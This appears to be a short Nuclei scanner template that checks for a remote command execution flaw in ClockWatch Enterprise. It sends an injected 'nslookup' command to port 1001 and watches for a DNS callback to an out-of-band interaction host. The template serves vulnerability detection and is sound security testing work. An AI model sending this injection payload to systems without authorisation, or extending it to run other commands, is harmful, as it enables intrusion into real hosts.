id: clockwatch-enterprise-rce

info:
  name: ClockWatch Enterprise RCE
  author: gy741
  severity: critical
  tags: clockwatch,rce,network
  reference: https://blog.grimm-co.com/2021/07/old-dog-same-tricks.html

network:
  - inputs:
      - data: "C+nslookup {{interactsh-url}}"

    host:
      - "{{Hostname}}"
      - "{{Host}}:1001"

    matchers-condition: and
    matchers:

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        words:
          - "OK-C"